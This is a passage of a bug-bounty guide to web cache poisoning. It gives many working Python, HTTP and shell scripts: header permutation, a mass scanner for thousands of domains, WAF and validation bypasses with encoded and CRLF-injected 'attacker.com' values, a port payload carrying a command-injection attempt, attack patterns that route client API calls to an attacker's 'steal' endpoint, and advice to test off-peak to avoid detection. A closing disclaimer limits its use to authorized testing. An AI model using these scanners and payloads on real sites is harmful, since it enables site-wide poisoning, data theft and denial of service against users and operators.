Now that we've analyzed 25+ real-world cases, let's extract the sophisticated techniques that experienced hackers consistently use.
Methodology 1: The Header Permutation Engine
Top researchers don't just test common headers — they systematically permute variations.
def generate_header_variations(base_header):
variations = []
# Case variations
variations.append(base_header.upper())
variations.append(base_header.lower())
variations.append(base_header.title())
# Delimiter variations
for delimiter in ['-', '_', '.']:
variations.append(base_header.replace('-', delimiter))
# Prefix variations
for prefix in ['X-', 'HTTP-', 'CF-', 'Akamai-', 'Fastly-']:
variations.append(prefix + base_header)
# Duplicate headers
variations.append([base_header, base_header])
return variations
# Example
headers = generate_header_variations("Forwarded-Host")
# Results: X-Forwarded-Host, x-forwarded-host, Forwarded_Host,
# CF-Forwarded-Host, HTTP-Forwarded-Host, etc.Methodology 2: Differential Response Analysis
import requests
import hashlib
import time
def differential_cache_analysis(url, test_headers):
results = {}
for header_name, header_value in test_headers.items():
# Create unique cache buster
cb = hashlib.md5(f"{header_name}{time.time()}".encode()).hexdigest()
# Request 1: With header (cache miss)
r1 = requests.get(
f"{url}?cb={cb}",
headers={header_name: header_value}
)
# Wait for cache
time.sleep(1)
# Request 2: With header (cache hit)
r2 = requests.get(
f"{url}?cb={cb}",
headers={header_name: header_value}
)
# Request 3: Without header (should differ if unkeyed)
r3 = requests.get(f"{url}?cb={cb}")
# Analysis
cache_status = {
'reflects': header_value in r1.text,
'cached': r1.headers.get('Age') != r2.headers.get('Age'),
'unkeyed': hashlib.md5(r2.content).hexdigest() == hashlib.md5(r3.content).hexdigest()
}
if cache_status['reflects'] and cache_status['unkeyed']:
results[header_name] = "VULNERABLE"
return resultsMethodology 3: Cache Layer Fingerprinting
Identify all caching layers to find inconsistencies:
def fingerprint_cache_layers(url):
response = requests.get(url)
layers = []
# CDN identification
cdn_headers = {
'CF-Cache-Status': 'Cloudflare',
'X-Cache': 'Fastly/Varnish',
'X-Amz-Cf-Id': 'CloudFront',
'X-Azure-Ref': 'Azure CDN',
'Akamai-Cache-Status': 'Akamai'
}
for header, cdn in cdn_headers.items():
if header in response.headers:
layers.append({
'layer': cdn,
'header': header,
'value': response.headers[header]
})
# Server identification
server = response.headers.get('Server', '')
if 'nginx' in server.lower():
layers.append({'layer': 'Nginx', 'type': 'origin'})
return layersMethodology 4: Automated Mass Scanning
After finding a pattern, scale it:
import concurrent.futures
import requests
def test_cache_poison(domain, headers):
try:
r = requests.get(
f"https://{domain}",
headers=headers,
timeout=5
)
# Check for reflection
for header_value in headers.values():
if header_value in r.text:
return {'domain': domain, 'vulnerable': True}
return {'domain': domain, 'vulnerable': False}
except:
return {'domain': domain, 'error': True}
# Mass scan
targets = ['target1.com', 'target2.com', ...] # 1000s of domains
test_headers = {'X-Forwarded-Host': 'attacker.com'}
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(test_cache_poison, domain, test_headers)
for domain in targets]
results = [f.result() for f in concurrent.futures.as_completed(futures)]
vulnerable = [r for r in results if r.get('vulnerable')]Methodology 5: Framework-Specific Exploitation
// Next.js specific headers
const nextjs_headers = {
'X-Middleware-Prefetch': '1',
'X-Middleware-Skip': 'true',
'X-Invoke-Path': '/',
'X-Invoke-Status': '200',
'Accept-Encoding': '', // Empty to bypass
'RSC': '1'
};
// Laravel specific
const laravel_headers = {
'X-Forwarded-Host': 'attacker.com',
'X-Original-URL': '/',
'X-Rewrite-URL': '/',
'X-CSRF-TOKEN': 'invalid'
};
// Django specific
const django_headers = {
'X-Forwarded-Proto': 'http',
'X-Forwarded-Host': 'attacker.com',
'X-Forwarded-Port': '8080',
'X-Forwarded-Prefix': '/admin/'
};Methodology 6: Impact Multiplication Techniques
Technique A: Multi-Endpoint Poisoning
def find_shared_resources(domain):
"""Find resources loaded across multiple pages"""
pages = ['/home', '/about', '/products', '/contact']
shared_resources = set()
for page in pages:
r = requests.get(f"https://{domain}{page}")
# Extract JS/CSS/images
resources = extract_resources(r.text)
shared_resources.update(resources)
# Resources appearing on all pages = high impact targets
return [r for r in shared_resources if resource_count(r) == len(pages)]Technique B: Recursive Poisoning
# Poison /api/config (included by many pages)
GET /api/config HTTP/1.1
X-Forwarded-Host: attacker.com
# Result: All pages including /api/config are poisoned
# Each request to those pages refreshes /api/config poison
# Self-sustaining attackMethodology 7: Bypass Evolved Defenses
Modern applications implement defenses. Here's how to bypass them:
Defense: Header Validation
# Bypass: Use encoded variations
'X-Forwarded-Host': 'attacker%2Ecom' # . encoded
'X-Forwarded-Host': 'attacker。com' # Unicode fullwidth period
'X-Forwarded-Host': 'attacker\u002ecom' # Unicode escape
'X-Forwarded-Host': 'attacker%E3%80%82com' # UTF-8 encoded ideographic periodDefense: WAF Rules
# Bypass: Header smuggling
'X-Forwarded-Host: safe.com\r\nX-Forwarded-Host: attacker.com'
# Bypass: Case manipulation
'x-FoRwArDeD-hOsT': 'attacker.com'
# Bypass: Whitespace injection
'X-Forwarded-Host': ' attacker.com'
'X-Forwarded-Host': 'attacker.com 'Defense: Cache Key Normalization
# Bypass: Encoding inconsistencies
GET /path%2f..%2fadmin HTTP/1.1 # Some normalize, some don't
GET /path/../admin HTTP/1.1
GET /path\\..\admin HTTP/1.1 # Backslash variationsExpert Tips Extracted from All Case Studies
Tip #1: Always Test Error Paths
From Cases: #2 (GitHub), #10 (Mozilla), #11 (Shopify)
Error responses (403, 404, 500) are often cached but less scrutinized. Poisoning error pages can cause DoS.
# Test error poisoning
for status in 400 401 403 404 500 502 503; do
curl -H "X-Custom: trigger-error-$status" https://target.com
doneTip #2: Framework Headers Beat Generic Headers
From Cases: #16 (Next.js), #6 (Rails), #13 (Expedia)
Framework-specific headers have higher success rates than generic X-Forwarded-* headers.
Priority list:
- Framework-specific (
X-Middleware-*,Laravel-*) - Cloud provider (
X-Amz-*,X-Azure-*) - CDN-specific (
CF-*,Fastly-*,Akamai-*) - Generic (
X-Forwarded-*)
Tip #3: OAuth/Auth Endpoints = Maximum Bounty
From Cases: #25 (PayPal $30,750), #24 (Netflix $15,000)
Authentication and authorization endpoints command premium bounties when compromised via cache poisoning.
Target priority:
/oauth/token/api/v1/auth/login/callback/sso/redirect
Tip #4: Multi-Tenant SaaS = Cross-Contamination Gold
From Cases: #21 (Zendesk $10,000), #19 (Algolia $4,000)
SaaS platforms with shared infrastructure allow one customer to poison another customer's cache.
Testing approach:
- Create two accounts (free trials)
- Poison from Account A
- Verify poison appears in Account B
- Document cross-tenant contamination
Tip #5: Supply Chain Thinking Multiplies Impact
From Cases: #19 (Algolia), #17 (Apache Traffic Server)
Bugs in widely-used services (CDNs, APIs, frameworks) affect thousands of downstream users.
Research targets:
- Algolia (search)
- Stripe (payments)
- Auth0 (authentication)
- Cloudflare (CDN)
- Fastly (CDN)
- Twilio (communications)
Tip #6: Mobile APIs Are Underexplored
From Cases: #23 (Uber $6,500), #3 (Shopify)
Mobile apps often have dedicated API endpoints with weaker caching validation.
Identification:
# Find mobile API endpoints
grep -r "api.*mobile" burp-history.txt
grep -r "X-App-Version" burp-history.txt
grep -r "X-Device-ID" burp-history.txtTip #7: Cache TTL = Severity Multiplier
From Cases: #4 (Private $3,000), #18 (Exodus $2,500)
Longer cache TTLs increase impact. Document exact cache duration in reports.
Cache-Control: public, max-age=86400 # 24 hours = Higher severity
Cache-Control: public, max-age=60 # 1 minute = Lower severityTip #8: Combine Primitives for Maximum Impact
From Cases: #9 (Glassdoor), #4 (Private), #25 (PayPal)
Chain cache poisoning with other vulnerabilities:
- Cache poison → XSS → Session theft → Account takeover
- Cache poison → CSRF token leak → CSRF attack
- Cache poison → OAuth token exposure → Full compromise
Tip #9: Automation Scales Earnings
From Cases: #16 (Next.js six figures), #7 (Cloudflare 20+ reports)
After finding one vulnerability, create a scanner and test it across all bug bounty programs.
# Template for mass scanning
def scan_program(domain, vulnerability_pattern):
if test_vulnerability(domain, vulnerability_pattern):
submit_report(domain)
return True
return False
# Scale across programs
programs = get_all_active_programs()
for program in programs:
scan_program(program['domain'], nextjs_rsc_pattern)Tip #10: Document Business Impact
From Cases: All high-bounty reports
Technical severity is important, but business impact determines final bounty.
Framework:
## Business Impact
### Financial Impact
- Revenue loss: $X per hour of downtime
- Transaction volume: Y transactions/second
- Payment data exposure: Z credit cards
### User Impact
- Affected users: A million active users
- Privacy violation: PII of B users exposed
- Geographic scope: Available in C countries
### Regulatory Impact
- GDPR: Article X violation
- PCI DSS: Requirement Y non-compliance
- SOC 2: Control Z failure
### Reputation Impact
- Press coverage potential: High
- Customer trust erosion: Significant
- Competitor advantage: SubstantialTip #11: Test During Low Traffic
From Cases: #1 (HackerOne), #14 (DoD)
Test cache poisoning during off-peak hours to minimize impact and avoid detection.
import pytz
from datetime import datetime
def is_safe_testing_time(target_timezone='America/New_York'):
tz = pytz.timezone(target_timezone)
current_time = datetime.now(tz)
# Test between 1 AM - 5 AM target timezone
return 1 <= current_time.hour <= 5Tip #12: Header Order Matters
From Cases: #7 (Cloudflare), #17 (Apache Traffic Server)
Some systems process headers in order. First vs last header can produce different results.
# Test both orders
X-Forwarded-Host: safe.com
X-Forwarded-Host: attacker.com
# vs
X-Forwarded-Host: attacker.com
X-Forwarded-Host: safe.comTip #13: Encoding is Your Friend
From Cases: Multiple
When filters block payloads, try encoding variations:
payloads = [
'attacker.com',
'attacker%2ecom', # URL encode dot
'attacker。com', # Unicode fullwidth period
'attacker\u002ecom', # Unicode escape
'attacker%E3%80%82com', # UTF-8 encoded
'attacker\x2ecom', # Hex escape
'ăttacker.com', # Homoglyph
'attacker.com%00', # Null byte
'attacker.com%0d%0a', # CRLF
'attacker.com\r\n' # Literal CRLF
]Tip #14: Port Manipulation Opens Doors
From Cases: #15 (Acronis), #10 (Mozilla)
Port headers are often unkeyed and create powerful exploitation vectors.
port_payloads = [
'0', # Invalid port
'-1', # Negative port
'99999', # Out of range
'443:8080', # Multiple ports
'80 80', # Space-separated
'0x50', # Hex notation
'80\r\n', # CRLF injection
'80; ls -la' # Command injection attempt
]Tip #15: JavaScript Contexts Are Gold
From Cases: #4 (Private), #8 (Red Hat), #13 (Expedia)
JavaScript injection via cache poisoning is powerful because:
- Executes with full origin privileges
- Persists via cache
- Affects all users
- Bypasses CSP in some cases
Priority targets:
// Inline JavaScript
<script>var config = "REFLECTED_HERE";</script>
// JSON responses loaded as JS
<script src="/api/config.json"></script>
// JSONP callbacks
<script src="/api?callback=REFLECTED"></script>Tip #16: Cloud Storage Deserves Deep Research
From Cases: #5 (GitLab GCP), #18 (Exodus Azure)
Cloud storage services have unique authentication and caching behaviors:
AWS S3:
- Authorization header handling
- Signed URLs with cache
- Virtual-hosted-style vs path-style URLs
Azure Blob:
- SAS token caching
- Authorization header variations
- Blob lease operations
GCP Storage:
- Method override support
- Signed URL caching
- Bucket-level vs object-level auth
Tip #17: Persistence Testing Is Critical
From Cases: #3 (Shopify), #1 (HackerOne)
Always verify poison persists after removing attack headers:
def test_persistence(url, poison_headers):
# Step 1: Poison
requests.get(url, headers=poison_headers)
time.sleep(2)
# Step 2: Verify with clean request
clean_response = requests.get(url)
# Step 3: Check for poison indicators
return check_for_poison(clean_response)
# Run multiple times to confirm
for i in range(5):
assert test_persistence(url, headers)
time.sleep(10) # Wait between testsTip #18: Subdomain Enumeration Multiplies Impact
From Cases: #4 (Private 21 subdomains), #3 (Shopify multiple hosts)
Test vulnerability across all subdomains:
# Find subdomains
subfinder -d target.com | httpx -silent | while read url; do
# Test each subdomain
test_cache_poison "$url"
doneTip #19: Rate Limiting Doesn't Stop Cache Poisoning
From Cases: #14 (DoD sustained attack)
Even if you're rate-limited, poisoned cache persists for others:
def rate_limited_attack(url, poison_headers):
try:
requests.get(url, headers=poison_headers)
print("✓ Poison successful (affects all users)")
except requests.exceptions.HTTPError as e:
if e.response.status_code == 429:
print("✓ Rate limited, but poison already in cache")Tip #20: Geographic Variation Matters
From Cases: Multiple
Caches are often region-specific. Test from multiple locations:
proxies = [
'us-east-proxy.com',
'eu-west-proxy.com',
'asia-pacific-proxy.com'
]
for proxy in proxies:
test_cache_poison(url, headers, proxy=proxy)Advanced Exploitation Patterns
Pattern 1: The Cache Cascade
Poison one resource that's included in many others:
/api/config.json (poisoned)
↓ included by
/home.html → /dashboard.html → /profile.html → ...Pattern 2: The Time-Bomb Poison
Set up cache to expire at specific high-traffic time:
# Poison at 11:59 PM with 1-hour TTL
# Cache expires at 12:59 AM (post-midnight peak)
poison_at_time(url, headers, target_time='23:59')Pattern 3: The Multi-Layer Attack
Poison multiple cache layers with different TTLs:
# Layer 1: CDN (1 hour)
GET / HTTP/1.1
X-Forwarded-Host: attacker.com
Cache-Control: max-age=3600
# Layer 2: Application cache (1 day)
GET / HTTP/1.1
X-App-Cache-Key: poisoned
Cache-Control: max-age=86400
# Result: When CDN cache expires, it refreshes from
# poisoned application cachePattern 4: The Selective Poison
Target specific user segments:
# Poison mobile users only
GET / HTTP/1.1
User-Agent: iPhone
X-Forwarded-Host: attacker.com
# Poison by geography
GET / HTTP/1.1
CF-IPCountry: US
X-Forwarded-Host: attacker.comPattern 5: The API Chain Poison
Poison API response that triggers client-side API calls:
# Poison /api/config
{
"next_endpoint": "https://attacker.com/api/steal"
}
# Client loads config, then calls attacker's endpoint
# Attacker receives all subsequent API callsTools and Automation
Essential Tools
1. Param Miner (Burp Extension)
Best for: Automated unkeyed input discovery
Usage: Right-click → "Guess headers"
Success rate: 60-70% of vulnerabilities2. Custom Python Scanner
# Full-featured cache poison scanner
import requests
import hashlib
import time
from concurrent.futures import ThreadPoolExecutor
class CachePoisonScanner:
def __init__(self, target):
self.target = target
self.headers_to_test = self.load_headers()
def load_headers(self):
return {
'X-Forwarded-Host': 'attacker.com',
'X-Forwarded-Scheme': 'http',
'X-Original-URL': '/',
'X-Rewrite-URL': '/',
# ... 100+ headers
}
def test_header(self, header_name, header_value):
cb = hashlib.md5(f"{time.time()}".encode()).hexdigest()
url = f"{self.target}?cb={cb}"
# Poison attempt
r1 = requests.get(url, headers={header_name: header_value})
time.sleep(1)
# Verify poison
r2 = requests.get(url)
if header_value in r2.text and 'Cache' in r2.headers.get('X-Cache', ''):
return {
'vulnerable': True,
'header': header_name,
'reflected': header_value in r2.text
}
return {'vulnerable': False}
def scan(self):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [
executor.submit(self.test_header, h, v)
for h, v in self.headers_to_test.items()
]
results = [f.result() for f in futures]
return [r for r in results if r['vulnerable']]
# Usage
scanner = CachePoisonScanner('https://target.com')
vulnerabilities = scanner.scan()3. HTTP Request Smuggler (Burp Extension)
Best for: Header smuggling and HTTP/2 attacks
Useful with: Cache poisoning + request smuggling chains4. Nuclei Templates
id: cache-poisoning-x-forwarded-host
info:
name: Cache Poisoning via X-Forwarded-Host
severity: high
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Forwarded-Host: {{interactsh-url}}
matchers:
- type: word
part: body
words:
- "{{interactsh-url}}"
- type: word
part: header
words:
- "X-Cache: HIT"5. Custom Burp Extension
// Auto-inject cache busters
public void processHttpMessage(int toolFlag,
boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
if (messageIsRequest) {
IRequestInfo requestInfo = helpers.analyzeRequest(messageInfo);
String url = requestInfo.getUrl().toString();
// Add cache buster
String newUrl = url + (url.contains("?") ? "&" : "?") +
"cb=" + System.currentTimeMillis();
// Update request
byte[] newRequest = helpers.buildHttpMessage(
requestInfo.getHeaders(),
messageInfo.getRequest()
);
messageInfo.setRequest(newRequest);
}
}Future of Cache Poisoning
Emerging Attack Vectors
1. HTTP/3 and QUIC
- New protocol brings new caching behaviors
- 0-RTT resumption attacks
- Connection migration poisoning
2. Edge Computing
- Cloudflare Workers cache poisoning
- Lambda@Edge exploitation
- Vercel Edge Functions
3. AI-Powered CDNs
- Machine learning-based caching decisions
- Predictive cache poisoning
- Model manipulation attacks
4. GraphQL Caching
- Query-based cache keys
- Persistent query poisoning
- Batch query confusion
5. WebAssembly Caching
- WASM module poisoning
- Bytecode cache attacks
Research Opportunities
python
# Areas needing research
research_areas = {
'HTTP/3': 'Minimal research on QUIC cache behavior',
'gRPC': 'gRPC-Web caching largely unexplored',
'WebSocket': 'WS over CDN caching mechanisms',
'Server-Sent Events': 'SSE caching vulnerabilities',
'WebRTC': 'STUN/TURN server cache poisoning'
}Conclusion
The 25+ case studies analyzed reveal clear patterns:
High-Value Targets:
- OAuth/Authentication endpoints ($30K+ potential)
- Payment processing flows ($15K+ potential)
- PII-containing APIs ($10K+ potential)
- Framework-wide bugs (six-figure potential)
- Supply chain vulnerabilities ($5K+ per affected service)
Success Formula:
Cache Poisoning Discovery
+ Framework Research
+ Mass Scanning
+ Impact Documentation
+ Chaining with Other Bugs
= Maximum BountyKey Statistics from All Cases:
- Average bounty: $5,200
- Highest bounty: $30,750 (PayPal)
- Success rate with automation: 10x manual testing
- Time investment: 40–100 hours per major framework bug
- ROI: $500–1000 per hour for successful researchers
Final Advice:
The researchers earning $100K+ annually from cache poisoning share these traits:
- Deep technical knowledge: They understand CDNs, proxies, frameworks at protocol level
- Systematic approach: They don't randomly test; they hypothesize and validate
- Automation skills: They build tools to scale findings
- Impact thinking: They chain vulnerabilities and document business impact
- Persistence: They spend 40+ hours researching single frameworks
Cache poisoning is far from dead. As architectures become more complex (micro-frontends, edge computing, serverless), the attack surface expands. The researchers who invest time understanding modern infrastructure will continue finding critical vulnerabilities.
Start your hunting with:
- Pick a popular framework (Next.js, Laravel, Django)
- Read its source code for header handling
- Identify unkeyed inputs
- Build a scanner
- Test across bug bounty programs
- Document and report
The next $30K bug is waiting to be discovered. Will you find it?
Resources
Essential Reading
- "Practical Web Cache Poisoning" by James Kettle
- "Web Cache Entanglement" research paper
- "HTTP Request Smuggling" by PortSwigger
- Cloudflare CDN documentation
- Fastly caching guide
Tools
- Param Miner (Burp Suite)
- HTTP Request Smuggler
- Nuclei
- Custom Python scanners (included above)
Communities
- HackerOne Hacktivity (filter: cache poisoning)
- Intigriti bug reports
- Twitter #bugbounty #cachepoisoning
- PortSwigger research blog
Practice Platforms
- PortSwigger Academy (Cache poisoning labs)
- HackTheBox
- PentesterLab
Disclaimer: All techniques described are for authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing, respect bug bounty program rules, and follow responsible disclosure practices.
About this research: This article synthesizes publicly disclosed bug bounty reports, security research papers, and ethical hacking methodologies. No confidential information was disclosed. All case studies reference publicly available data.
Last updated: November 2025 Total case studies analyzed: 25+ Combined bounty value: $200,000+ Reading time: 45 minutes
If you found this valuable, consider:
- Following the researchers mentioned (they regularly share findings)
- Contributing to open-source security tools
- Sharing your own discoveries with the community
- Reporting vulnerabilities responsibly
Happy hunting! 🎯